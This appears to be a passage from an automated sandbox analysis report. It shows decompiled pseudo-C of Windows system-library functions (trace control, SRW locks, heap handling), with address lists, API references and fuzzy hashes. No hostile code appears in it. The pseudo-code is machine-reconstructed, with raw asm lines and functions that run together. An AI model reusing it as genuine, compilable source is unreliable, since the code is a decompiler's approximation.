				memset( &_v176, 0, 0xa0);
				_t57 =  &_v176;
				_t59 = 0xa0;
				if( *0x6cef7bc8 != 0) {
					L3:
					while(1) {
						asm("movsd");
						asm("movsd");
						asm("movsd");
						asm("movsd");
						_t67 = _v192;
						 *((intOrPtr*)(_t57 + 0x10)) = _a4;
						 *(_t57 + 0x24) =  *(_t57 + 0x24) & 0x00000000;
						 *(_t57 + 0x14) =  *(_t67 + 0x34) & 0x0000ffff;
						 *((intOrPtr*)(_t57 + 0x20)) = _v196;
						_push( &_v184);
						_push(_t59);
						_push(_t57);
						_push(0xa0);
						_push(_t57);
						_push(0xf);
						_t42 = E6CE4B0B0();
						if(_t42 != 0xc0000023) {
							break;
						}
						if(_v177 != 0) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
						}
						_v177 = 1;
						_t44 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v184);
						_t59 = _v184;
						_t57 = _t44;
						if(_t57 != 0) {
							continue;
						} else {
							_t42 = 0xc0000017;
							break;
						}
					}
					if(_t42 != 0) {
						_t65 = RtlNtStatusToDosError(_t42);
						if(_t65 != 0) {
							L10:
							if(_v177 != 0) {
								if(_t57 != 0) {
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t57);
								}
							}
							_t46 = _t65;
							L12:
							return E6CE4B640(_t46, _t57, _v12 ^ _t69, _t64, _t65, _t67);
						}
						L7:
						_t50 = _a4;
						 *((intOrPtr*)(_t67 + 0x30)) =  *((intOrPtr*)(_t57 + 0x18));
						if(_t50 != 3) {
							if(_t50 == 2) {
								goto L8;
							}
							L9:
							if(E6CE4F380(_t67 + 0xc, 0x6cde5138, 0x10) == 0) {
								 *0x6cef60d8 = _t67;
							}
							goto L10;
						}
						L8:
						_t64 = _t57 + 0x28;
						E6CE34F49(_t67, _t57 + 0x28);
						goto L9;
					}
					_t65 = 0;
					goto L7;
				}
				_t56 = E6CE34E70(0x6cef86b0, 0x6ce35690, 0, 0);
				if(_t56 != 0) {
					_t46 = RtlNtStatusToDosError(_t56);
					goto L12;
				} else {
					_t59 = 0xa0;
					goto L3;
				}
			}

0x6ce34d3b
0x6ce34d4d
0x6ce34d53
0x6ce34d58
0x6ce34d65
0x6ce34d6c
0x6ce34d71
0x6ce34d77
0x6ce34d7f
0x6ce34d8c
0x6ce34d8e
0x6ce34dad
0x6ce34db0
0x6ce34db7
0x6ce34db8
0x6ce34db9
0x6ce34dba
0x6ce34dbb
0x6ce34dc1
0x6ce34dc8
0x6ce34dcc
0x6ce34dd5
0x6ce34dde
0x6ce34ddf
0x6ce34de0
0x6ce34de1
0x6ce34de6
0x6ce34de7
0x6ce34de9
0x6ce34df3
0x00000000
0x00000000
0x6ce76c7c
0x6ce76c8a
0x6ce76c8a
0x6ce76c9d
0x6ce76ca7
0x6ce76cac
0x6ce76cb2
0x6ce76cb9
0x00000000
0x6ce76cbf
0x6ce76cbf
0x00000000
0x6ce76cbf
0x6ce76cb9
0x6ce34dfb
0x6ce76ccf
0x6ce76cd3
0x6ce34e32
0x6ce34e39
0x6ce76ce0
0x6ce76cf2
0x6ce76cf2
0x6ce76ce0
0x6ce34e3f
0x6ce34e41
0x6ce34e51
0x6ce34e51
0x6ce34e03
0x6ce34e03
0x6ce34e09
0x6ce34e0f
0x6ce34e57
0x00000000
0x00000000
0x6ce34e1b
0x6ce34e30
0x6ce34e5b
0x6ce34e5b
0x00000000
0x6ce34e30
0x6ce34e11
0x6ce34e11
0x6ce34e16
0x00000000
0x6ce34e16
0x6ce34e01
0x00000000
0x6ce34e01
0x6ce34d9e
0x6ce34da5
0x6ce76c6b
0x00000000
0x6ce34dab
0x6ce34dab
0x00000000
0x6ce34dab

APIs

memset.1105(?,00000000,000000A0,00000000,00000000,00000024), ref: 6CE34D77
RtlRunOnceExecuteOnce.1105(6CEF86B0,6CE35690,00000000,00000000,00000000,00000000,00000024), ref: 6CE34D9E
ZwTraceControl.1105(0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6CE34DE9
memcmp.1105(00000000,6CDE5138,00000010,0000000F,?,000000A0,?,000000A0,?,00000000,00000000,00000024), ref: 6CE34E26
RtlNtStatusToDosError.1105(00000000,6CEF86B0,6CE35690,00000000,00000000,00000000,00000000,00000024), ref: 6CE76C6B

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: Once$ControlErrorExecuteStatusTracememcmpmemset
String ID:
API String ID: 1949686928-0
Opcode ID: 78c12e6dc51f8880a34cb5982bf33253451eb440d71c904157e1f42e0c1f9d58
Instruction ID: 0aa76e186929b34ceb1da63c1a0fc02173b19fbb75d9cc67cdcdc4d760084f11
Opcode Fuzzy Hash: 78c12e6dc51f8880a34cb5982bf33253451eb440d71c904157e1f42e0c1f9d58
Instruction Fuzzy Hash: E441F771A403289FEB21CF15CC80F9ABBB9EB4571CF24409AE9499BB80D775ED44CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE34BAD, Relevance: 13.6, APIs: 9, Instructions: 131
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6CE34BAD(long __ecx, void* __edx, signed char _a4, signed short _a8) {
				signed int _v8;
				short _v20;
				intOrPtr _v24;
				long _v28;
				intOrPtr _v32;
				char _v36;
				void _v156;
				short _v158;
				intOrPtr _v160;
				long _v164;
				long _v168;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t45;
				intOrPtr _t74;
				signed char _t77;
				void* _t84;
				void* _t85;
				long _t86;
				int _t87;
				long _t88;
				signed int _t89;

				_t83 = __edx;
				_v8 =  *0x6cefd360 ^ _t89;
				_t45 = _a8 & 0x0000ffff;
				_v158 = __edx;
				_v168 = __ecx;
				if(_t45 == 0) {
					L22:
					_t86 = 6;
					L12:
					E6CE0CC50(_t86);
					L11:
					return E6CE4B640(_t86, _t77, _v8 ^ _t89, _t83, _t84, _t86);
				}
				_t77 = _a4;
				if((_t77 & 0x00000001) != 0 || _t45 !=  *((intOrPtr*)(_t77 + 0x34))) {
					goto L22;
				} else {
					_t9 = _t77 + 0x24; // 0x6cef8504
					E6CE22280(_t9, _t9);
					_t87 = 0x78;
					 *(_t77 + 0x2c) =  *( *[fs:0x18] + 0x24);
					memset( &_v156, 0, _t87);
					_t85 =  &_v156;
					_v36 =  *((intOrPtr*)(_t77 + 0x30));
					_v28 = _v168;
					_v32 = 0;
					_v24 = 0;
					_v20 = _v158;
					_v160 = 0;
					while(1) {
						_push( &_v164);
						_push(_t87);
						_push(_t85);
						_push(0x18);
						_push( &_v36);
						_push(0x1e);
						_t88 = E6CE4B0B0();
						if(_t88 != 0xc0000023) {
							break;
						}
						if(_t85 !=  &_v156) {
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						}
						_t84 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _v164);
						_v168 = _v164;
						if(_t84 == 0) {
							_t88 = 0xc0000017;
							goto L19;
						} else {
							_t74 = _v160 + 1;
							_v160 = _t74;
							if(_t74 >= 0x10) {
								L19:
								_t86 = RtlNtStatusToDosError(_t88);
								if(_t86 != 0) {
									L8:
									 *(_t77 + 0x2c) =  *(_t77 + 0x2c) & 0x00000000;
									_t30 = _t77 + 0x24; // 0x6cef8504
									E6CE1FFB0(_t77, _t84, _t30);
									if(_t84 != 0 && _t84 !=  &_v156) {
										RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t84);
									}
									if(_t86 != 0) {
										goto L12;
									} else {
										goto L11;
									}
								}
								L6:
								 *(_t77 + 0x36) =  *(_t77 + 0x36) | 0x00004000;
								if(_v164 != 0) {
									_t83 = _t84;
									E6CE34F49(_t77, _t84);
								}
								goto L8;
							}
							_t87 = _v168;
							continue;
						}
					}
					if(_t88 != 0) {
						goto L19;
					}
					goto L6;
				}
			}

0x6ce34bad
0x6ce34bbf
0x6ce34bc2
0x6ce34bc6
0x6ce34bcd
0x6ce34bd9
0x6ce767fe
0x6ce76800
0x6ce34ccc
0x6ce34ccd
0x6ce34cb7
0x6ce34cc9
0x6ce34cc9
0x6ce34bdf
0x6ce34be5
0x00000000
0x6ce34bf5
0x6ce34bf5
0x6ce34bf9
0x6ce34c06
0x6ce34c0b
0x6ce34c17
0x6ce34c1f
0x6ce34c25
0x6ce34c33
0x6ce34c3d
0x6ce34c40
0x6ce34c43
0x6ce34c47
0x6ce34c4d
0x6ce34c53
0x6ce34c54
0x6ce34c55
0x6ce34c56
0x6ce34c5b
0x6ce34c5c
0x6ce34c63
0x6ce34c6b
0x00000000
0x00000000
0x6ce76776
0x6ce76784
0x6ce76784
0x6ce7679f
0x6ce767a7
0x6ce767af
0x6ce767ce
0x00000000
0x6ce767b1
0x6ce767b7
0x6ce767b8
0x6ce767c1
0x6ce767d3
0x6ce767d9
0x6ce767dd
0x6ce34c94
0x6ce34c94
0x6ce34c98
0x6ce34c9c
0x6ce34ca3
0x6ce767f4
0x6ce767f4
0x6ce34cb5
0x00000000
0x00000000
0x00000000
0x00000000
0x6ce34cb5
0x6ce34c79
0x6ce34c7e
0x6ce34c89
0x6ce34c8b
0x6ce34c8f
0x6ce34c8f
0x00000000
0x6ce34c89
0x6ce767c3
0x00000000
0x6ce767c3
0x6ce767af
0x6ce34c73
0x00000000
0x00000000
0x00000000
0x6ce34c73

APIs

RtlAcquireSRWLockExclusive.1105(6CEF8504,6CEF5338,00000000,6CEF5320), ref: 6CE34BF9
memset.1105(?,00000000,00000078,6CEF8504,6CEF5338,00000000,6CEF5320), ref: 6CE34C17
ZwTraceControl.1105(0000001E,00000000,00000018,?,00000078,?,6CEF5338,00000000,6CEF5320), ref: 6CE34C5E
RtlReleaseSRWLockExclusive.1105(6CEF8504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6CEF5338,00000000,6CEF5320), ref: 6CE34C9C
RtlSetLastWin32Error.1105(00000000,6CEF8504,C0000017,?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6CEF5338,00000000,6CEF5320), ref: 6CE34CCD
RtlFreeHeap.1105(?,00000000,?,0000001E,00000000,00000018,?,00000078,?,6CEF5338,00000000,6CEF5320), ref: 6CE76784
RtlAllocateHeap.1105(?,00000008,?,0000001E,00000000,00000018,?,00000078,?,6CEF5338,00000000,6CEF5320), ref: 6CE7679A

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveHeapLock$AcquireAllocateControlErrorFreeLastReleaseTraceWin32memset
String ID:
API String ID: 375855687-0
Opcode ID: 3a87361f0b562250e118f641fd89ed04e291f57038c63dc6785719cfce1110b3
Instruction ID: d7ee7125a30406dd8dcf06949ccd0f0f1c0b20d2a7e23910db036a471e8461a7
Opcode Fuzzy Hash: 3a87361f0b562250e118f641fd89ed04e291f57038c63dc6785719cfce1110b3
Instruction Fuzzy Hash: AD41B836A402289BDB21DF64C940FD977B8AF45748F2101AAE908EB740D779DE45CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CE2C182, Relevance: 13.6, APIs: 9, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 67%

			E6CE2C182(void* __ecx, void* __edx, intOrPtr _a4) {
				intOrPtr _v8;
				char _v16;
				void* __ebx;
				void* __edi;
				signed char _t33;
				char* _t43;
				void* _t48;
				signed char _t62;
				void* _t63;
				void* _t82;
				void* _t83;

				_t80 = __ecx;
				_t82 = __edx;
				_t33 =  *((intOrPtr*)(__ecx + 0xde));
				_t62 = _t33 >> 0x00000001 & 0x00000001;
				if((_t33 & 0x00000001) != 0) {
					_v8 = ((0 | _t62 != 0x00000000) - 0x00000001 & 0x00000048) + 8 + __edx;
					if(E6CE27D50() != 0) {
						_t43 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x22c;
					} else {
						_t43 = 0x7ffe0386;
					}
					if( *_t43 != 0) {
						_t43 = E6CED8D34(_v8, _t80);
					}
					E6CE22280(_t43, _t82);
					if( *((char*)(_t80 + 0xdc)) == 0) {
						E6CE1FFB0(_t62, _t80, _t82);
						 *(_t80 + 0xde) =  *(_t80 + 0xde) | 0x00000004;
						_t83 = _t80 + 0xd0;
						E6CED8833(_t83,  &_v16);
						_t81 = _t80 + 0x90;
						E6CE1FFB0(_t62, _t80 + 0x90, _t80 + 0x90);
						_t63 = 0;
						_push(0);
						_push(_t83);
						_t48 = E6CE4B180();
						if(_a4 != 0) {
							E6CE22280(_t48, _t81);
						}
					} else {
						E6CE2BB2D(_v8 + 0xc, _t80 + 0x98);
						E6CE2BB2D(_v8 + 8, _t80 + 0xb0);
						E6CE2B944(_v8, _t62);
						 *((char*)(_t80 + 0xdc)) = 0;
						E6CE1FFB0(0, _t80, _t82);
						 *((intOrPtr*)(_t80 + 0xd8)) = 0;
						 *((intOrPtr*)(_t80 + 0xc8)) = 0;
						 *((intOrPtr*)(_t80 + 0xcc)) = 0;
						 *(_t80 + 0xde) = 0;
						if(_a4 == 0) {
							E6CE1FFB0(0, _t80, _t80 + 0x90);
						}
						_t63 = 1;
					}
					return _t63;
				}
				 *((intOrPtr*)(__ecx + 0xc8)) = 0;
				 *((intOrPtr*)(__ecx + 0xcc)) = 0;
				if(_a4 == 0) {
					E6CE1FFB0(0, __ecx, __ecx + 0x90);
				}
				return 0;
			}

0x6ce2c18d
0x6ce2c18f
0x6ce2c191
0x6ce2c19b
0x6ce2c1a0
0x6ce2c1d4
0x6ce2c1de
0x6ce72d6e
0x6ce2c1e4
0x6ce2c1e4
0x6ce2c1e4
0x6ce2c1ec
0x6ce72d7d
0x6ce72d7d
0x6ce2c1f3
0x6ce2c1ff
0x6ce72d88
0x6ce72d8d
0x6ce72d94
0x6ce72d9f
0x6ce72da4
0x6ce72dab
0x6ce72db0
0x6ce72db2
0x6ce72db3
0x6ce72db4
0x6ce72dbc
0x6ce72dc3
0x6ce72dc3
0x6ce2c205
0x6ce2c211
0x6ce2c222
0x6ce2c22c
0x6ce2c234
0x6ce2c23a
0x6ce2c23f
0x6ce2c245
0x6ce2c24b
0x6ce2c251
0x6ce2c25a
0x6ce2c27d
0x6ce2c27d
0x6ce2c25c
0x6ce2c25c
0x00000000
0x6ce2c25e
0x6ce2c1a4
0x6ce2c1aa
0x6ce2c1b3
0x6ce2c26c
0x6ce2c26c
0x00000000

APIs

RtlGetCurrentServiceSessionId.1105(?,?,?,00000000,?,00000000,?,?,?,?,?,6CECC9F8,000000FE), ref: 6CE2C1D7
RtlAcquireSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6CECC9F8,000000FE), ref: 6CE2C1F3
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6CECC9F8,000000FE), ref: 6CE2C23A
RtlReleaseSRWLockExclusive.1105(?,?,?,?,00000000,?,00000000,?,?,?,?,?,6CECC9F8,000000FE), ref: 6CE2C26C
RtlReleaseSRWLockExclusive.1105(?,?,?,?,?,?,00000000,?,00000000,?,?,?,?,?,6CECC9F8,000000FE), ref: 6CE2C27D

Memory Dump Source

Source File: 0000001D.00000002.467431469.000000006CDE1000.00000020.00020000.sdmp, Offset: 6CDE0000, based on PE: true

Associated: 0000001D.00000002.467400354.000000006CDE0000.00000002.00020000.sdmp Download File
Associated: 0000001D.00000002.469754181.000000006CEF5000.00000008.00020000.sdmp Download File
Associated: 0000001D.00000002.469788207.000000006CEFB000.00000004.00020000.sdmp Download File
Associated: 0000001D.00000002.469837900.000000006CEFF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExclusiveLock$Release$AcquireCurrentServiceSession
String ID:
API String ID: 4254861812-0
Opcode ID: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction ID: ab7975bc2460bdda871a19e8792601b1402d85bb37f7bebb4dbaade6ad342363
Opcode Fuzzy Hash: bdeba0c7626f7b2223eabf048399ca84a7f51063fc420e87d18673506539e28e
Instruction Fuzzy Hash: C331E072B0598AAAE704EBB4C481BD9F774BF5620CF34415EC41C47B01DB3DAA5AC7A1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE3DE9E, Relevance: 13.6, APIs: 9, Instructions: 79
memorynativeCOMMON

Download Yara Rule

C-Code - Quality: 84%

			E6CE3DE9E(void* __ecx) {
				char _v0;
				char _v12;
				signed int* _v48;
				signed int _v52;
				signed int _v56;
				void* _v60;
				void* _v64;
				void* _v65;
				void* _v66;
				void* __ebx;
				void* __edi;
				void* _t81;
				signed int _t82;
				intOrPtr* _t92;
				signed int _t96;
				intOrPtr* _t100;
				signed int _t103;
				signed int _t104;
				intOrPtr _t109;
				intOrPtr* _t110;
				signed int _t116;
				char _t121;
				void* _t128;
				signed int* _t130;
				signed int* _t135;
				signed int _t138;
				signed int _t140;
				void* _t145;
				unsigned int _t147;
				signed int _t151;
				signed int _t152;
				signed int _t153;
				intOrPtr _t154;
				intOrPtr _t155;
				signed int _t156;
				intOrPtr* _t157;
				signed int _t161;
				signed int* _t162;
				char _t163;
				signed int _t164;
				signed int _t169;
				signed int _t171;
				intOrPtr* _t173;
				signed int _t176;
				signed int _t177;
				intOrPtr* _t178;
				void* _t181;
				void* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t191;
				signed int _t193;
				signed int _t194;
				void* _t196;

				_t194 = _t193 & 0xfffffff8;
				_push(__ecx);
				_push(_t173);
				_t181 = __ecx;
				_t81 = E6CE22280( *0x6cef84cc + 4,  *0x6cef84cc + 4);
				_t128 = _t181 + 0x28;
				_t82 = E6CE22280(_t81, _t128);
				asm("lock xadd [esi+0x50], eax");
				if((_t82 | 0xffffffff) != 1) {
					E6CE1FFB0(_t128, _t173, _t128);
					L8:
					return E6CE1FFB0(_t128, _t173,  *0x6cef84cc + 4);
				} else {
					if(E6CE27D50() != 0) {
						_t92 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
					} else {
						_t92 = 0x7ffe038e;
					}
					_t173 = _t181 + 0x10;
					if( *_t92 != 0) {
						E6CE92EA3(_t181,  *_t173,  *((intOrPtr*)(_t173 + 4)));
					}
					_push(_t173);
					E6CE4B150();
					_t96 = _t181 + 0x1c;
					_t162 =  *_t96;
					if(_t162[1] != _t96) {
						L10:
						_t145 = 3;
						asm("int 0x29");
						_t191 = _t194;
						_push(_t145);
						_push(_t145);
						_push(_t128);
						_push(_t181);
						_push(_t173);
						_t130 = _t162;
						_t183 = _t145;
						asm("lock xadd [esi+0x2c], eax");
						if((_t96 | 0xffffffff) == 1) {
							_t146 =  *((intOrPtr*)(_t183 + 0x28));
							if( *((intOrPtr*)(_t183 + 0x28)) != 0) {
								E6CE0A745(_t130, _t146, _t162, _t173);
							}
							_t100 = _t183 + 4;
							_t163 =  *_t100;
							if( *((intOrPtr*)(_t163 + 4)) != _t100) {
								L20:
								_t147 = 3;
								asm("int 0x29");
								_push(_t191);
								_t196 = (_t194 & 0xfffffff8) - 0x1c;
								_v56 = _v56 & 0x00000000;
								_push(_t130);
								 *((char*)(_t196 + 0xb)) = _t163;
								 *(_t196 + 0x18) = _t147;
								_push(_t183);
								_push(_t173);
								_t135 =  *((intOrPtr*)( *[fs:0x18] + 0x30)) + ((_t147 >> 0x00000005 & 0x0000007f) + 0x97) * 4;
								_t103 = 0;
								_t164 =  *_t135;
								_v48 = _t135;
								 *(_t196 + 0x12) = 0;
								if(_t164 != 0) {
									while((_t164 & 0x00000001) == 0) {
										_t103 = _t164;
										if((_t164 & 0x00000002) != 0) {
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												goto L54;
											}
										} else {
											_t186 = _t164 | 0x00000002;
											asm("lock cmpxchg [ebx], ecx");
											if(_t103 != _t164) {
												L54:
												_t164 = _t103;
												if(_t103 != 0) {
													continue;
												} else {
												}
											} else {
												while(1) {
													L25:
													_t138 = _t186 & 0xfffffffc;
													 *(_t196 + 0x24) = _t138;
													_t176 = _t138;
													if( *((intOrPtr*)(_t138 + 0x10)) == 0) {
														goto L56;
													}
													L26:
													_t177 =  *((intOrPtr*)(_t176 + 0x10));
													 *((intOrPtr*)(_t138 + 0x10)) = _t177;
													while(_t177 != 0) {
														_t169 =  *((intOrPtr*)(_t177 + 0xc));
														_v52 = _t169;
														if( *_t177 !=  *((intOrPtr*)(_t196 + 0x20))) {
															L60:
															_t177 = _t169;
															continue;
														} else {
															_t152 =  *(_t177 + 8);
															if(_t177 != _t138) {
																 *(_t169 + 8) = _t152;
																_t153 =  *(_t177 + 8);
																_t109 =  *((intOrPtr*)(_t177 + 0xc));
																if(_t153 != 0) {
																	 *((intOrPtr*)(_t153 + 0xc)) = _t109;
																} else {
																	 *((intOrPtr*)(_t138 + 0x10)) = _t109;
																	 *((intOrPtr*)( *((intOrPtr*)(_t177 + 0xc)) + 0x10)) =  *((intOrPtr*)(_t177 + 0xc));
																}
																goto L34;
															} else {
																if(_t152 != 0) {
																	_t152 = _t152 ^ (_t152 ^ _t186) & 0x00000003;
																}
																_t116 = _t186;
																asm("lock cmpxchg [ebx], edx");
																_t138 =  *(_t196 + 0x24);
																if(_t116 != _t186) {
																	_t186 = _t116;
																	goto L25;
																} else {
																	_t171 =  *(_t177 + 8);
																	_t156 = _t152 & 0xffffff00 | _t152 == 0x00000000;
																	 *(_t196 + 0x12) = _t156;
																	if(_t171 != 0) {
																		 *(_t171 + 0xc) =  *(_t171 + 0xc) & 0x00000000;
																		 *((intOrPtr*)(_t171 + 0x10)) =  *((intOrPtr*)(_t177 + 0x10));
																		 *(_t196 + 0x12) = _t156;
																	}
																	_t169 = _v52;
																	L34:
																	_t154 = 2;
																	_t49 = _t177 + 0x14; // 0x14
																	_t110 = _t49;
																	_t155 =  *_t110;
																	 *_t110 = _t154;
																	if(_t155 == 2) {
																		goto L60;
																	} else {
																		if(_t155 == 0) {
																			 *(_t177 + 8) = _v56;
																			_v56 = _t177;
																		}
																		if( *((char*)(_t196 + 0x13)) != 0) {
																			goto L60;
																		}
																	}
																}
															}
														}
														break;
													}
													_t103 = _v56;
													if(_t103 != 0) {
														do {
															_push( *((intOrPtr*)(_t103 + 4)));
															_t188 =  *(_t103 + 8);
															E6CE49BF0();
															_t103 = _t188;
														} while (_t188 != 0);
													}
													if( *(_t196 + 0x12) == 0) {
														_t151 =  *_v48;
														while(1) {
															_t140 = _t151 & 0x00000001;
															asm("sbb edx, edx");
															_t103 = _t151;
															asm("lock cmpxchg [esi], edx");
															if(_t103 == _t151) {
																break;
															}
															_t151 = _t103;
														}
														if(_t140 != 0) {
															_t103 = E6CEBCF30(_t103);
														}
													}
													goto L41;
													do {
														L56:
														_t104 = _t176;
														_t176 =  *(_t176 + 8);
														 *(_t176 + 0xc) = _t104;
													} while ( *((intOrPtr*)(_t176 + 0x10)) == 0);
													goto L26;
												}
											}
										}
										goto L41;
									}
								}
								L41:
								return _t103;
							} else {
								_t157 =  *((intOrPtr*)(_t100 + 4));
								if( *_t157 != _t100) {
									goto L20;
								} else {
									 *_t157 = _t163;
									 *((intOrPtr*)(_t163 + 4)) = _t157;
									_t178 =  *((intOrPtr*)(_t183 + 0x30));
									 *_t130 =  *(_t183 + 0x38);
									 *_v0 =  *((intOrPtr*)(_t183 + 0x3c));
									_t121 = RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t183);
									if(_t178 != 0) {
										 *_t178 = 1;
										_t121 =  &_v12;
										asm("lock or [eax], ecx");
										_push(0);
										L21();
									}
									goto L13;
								}
							}
						} else {
							_t121 = _v0;
							 *_t130 =  *_t130 & 0x00000000;
							 *_t121 =  *_t121 & 0x00000000;
							L13:
							return _t121;
						}
					} else {
						_t161 =  *(_t96 + 4);
						if( *_t161 != _t96) {
							goto L10;
						} else {
							 *_t161 = _t162;
							_t162[1] = _t161;
							E6CE1FFB0(_t128, _t173, _t128);
							if( *(_t181 + 0x58) != 0) {
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0,  *(_t181 + 0x58));
							}
							RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t181);
							goto L8;
						}
					}
				}
			}

0x6ce3dea3
0x6ce3dea6
0x6ce3deae
0x6ce3deb2
0x6ce3deb5
0x6ce3deba
0x6ce3debe
0x6ce3dec6
0x6ce3decc
0x6ce3df40
0x6ce3df2a
0x6ce3df3e
0x6ce3dece
0x6ce3ded5
0x6ce7b445
0x6ce3dedb
0x6ce3dedb
0x6ce3dedb
0x6ce3dee2
0x6ce3dee7
0x6ce7b456
0x6ce7b456
0x6ce3deed
0x6ce3deee
0x6ce3def3
0x6ce3def6
0x6ce3defb
0x6ce3df47
0x6ce3df49
0x6ce3df4a
0x6ce3df4f
0x6ce3df51
0x6ce3df52
0x6ce3df53
0x6ce3df54
0x6ce3df55
0x6ce3df56
0x6ce3df58
0x6ce3df5d
0x6ce3df63
0x6ce3df77
0x6ce3df7c
0x6ce3dfd3
0x6ce3dfd3
0x6ce3df7e
0x6ce3df81
0x6ce3df86
0x6ce3dfda
0x6ce3dfdc
0x6ce3dfdd
0x6ce3dfe1
0x6ce3dfe7
0x6ce3dff0
0x6ce3dff5
0x6ce3dff8
0x6ce3e005
0x6ce3e00f
0x6ce3e010
0x6ce3e011
0x6ce3e014
0x6ce3e016
0x6ce3e018
0x6ce3e01c
0x6ce3e022
0x6ce3e028
0x6ce3e031
0x6ce3e036
0x6ce7b47d
0x6ce7b483
0x00000000
0x00000000
0x6ce3e03c
0x6ce3e03e
0x6ce3e043
0x6ce3e049
0x6ce7b489
0x6ce7b489
0x6ce7b48d
0x00000000
0x00000000
0x6ce7b493
0x00000000
0x6ce3e04f
0x6ce3e04f
0x6ce3e051
0x6ce3e054
0x6ce3e058
0x6ce3e05e
0x00000000
0x00000000
0x6ce3e064
0x6ce3e064
0x6ce3e067
0x6ce3e06a
0x6ce3e076
0x6ce3e079
0x6ce3e07f
0x6ce7b4cc
0x6ce7b4cc
0x00000000
0x6ce3e085
0x6ce3e085
0x6ce3e08a
0x6ce3e11c
0x6ce3e11f
0x6ce3e122
0x6ce3e127
0x6ce3e164
0x6ce3e129
0x6ce3e129
0x6ce3e12f
0x6ce3e12f
0x00000000
0x6ce3e090
0x6ce3e092
0x6ce7b4b2
0x6ce7b4b2
0x6ce3e09e
0x6ce3e0a0
0x6ce3e0a4
0x6ce3e0aa
0x6ce7b4d3
0x00000000
0x6ce3e0b0
0x6ce3e0b0
0x6ce3e0b5
0x6ce3e0b8
0x6ce3e0be
0x6ce7b4b9
0x6ce7b4c0
0x6ce7b4c3
0x6ce7b4c3
0x6ce3e0c4
0x6ce3e0c8
0x6ce3e0ca
0x6ce3e0cb
0x6ce3e0cb
0x6ce3e0ce
0x6ce3e0ce
0x6ce3e0d3
0x00000000
0x6ce3e0d9
0x6ce3e0db
0x6ce3e0e1
0x6ce3e0e4
0x6ce3e0e4
0x6ce3e0ed
0x00000000
0x00000000
0x6ce3e0ed
0x6ce3e0d3
0x6ce3e0aa
0x6ce3e08a
0x00000000
0x6ce3e07f
0x6ce3e0f3
0x6ce3e0f9
0x6ce3e0fb
0x6ce3e0fb
0x6ce3e0fe
0x6ce3e101
0x6ce3e106
0x6ce3e108
0x6ce3e0fb
0x6ce3e111
0x6ce3e138
0x6ce3e13a
0x6ce3e13e
0x6ce3e148
0x6ce3e14e
0x6ce3e150
0x6ce3e156
0x00000000
0x00000000
0x6ce3e16c
0x6ce3e16c
0x6ce3e15a
0x6ce3e15d
0x6ce3e15d
0x6ce3e15a
0x00000000
0x6ce7b498
0x6ce7b498
0x6ce7b498
0x6ce7b49a
0x6ce7b49d
0x6ce7b4a0
0x00000000
0x6ce7b4a6
0x6ce3e04f
0x6ce3e049
0x00000000
0x6ce3e036
0x6ce3e028
0x6ce3e113
0x6ce3e119
0x6ce3df88
0x6ce3df88
0x6ce3df8d
0x00000000
0x6ce3df8f
0x6ce3df8f
0x6ce3df91
0x6ce3df97
0x6ce3df9a
0x6ce3dfa5
0x6ce3dfb0
0x6ce3dfb7
0x6ce3dfb9
0x6ce3dfbf
0x6ce3dfc4
0x6ce3dfc7
0x6ce3dfcc
0x6ce3dfcc
0x00000000
0x6ce3dfb7
0x6ce3df8d
0x6ce3df65
0x6ce3df65
0x6ce3df68
0x6ce3df6b
0x6ce3df6e
0x6ce3df74
0x6ce3df74
0x6ce3defd
0x6ce3defd
0x6ce3df02
0x00000000
0x6ce3df04
0x6ce3df04
0x6ce3df07
0x6ce3df0a
0x6ce3df13
0x6ce7b46e
0x6ce7b46e
0x6ce3df25
0x00000000
0x6ce3df25
0x6ce3df02
0x6ce3defb

APIs

RtlAcquireSRWLockExclusive.1105(?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001,00000000,?,?), ref: 6CE3DEB5
RtlAcquireSRWLockExclusive.1105(?,?,00000000,?,00000000,?,?,6CE03A82,?,?,?,?,?,00000001,00000000,?), ref: 6CE3DEBE

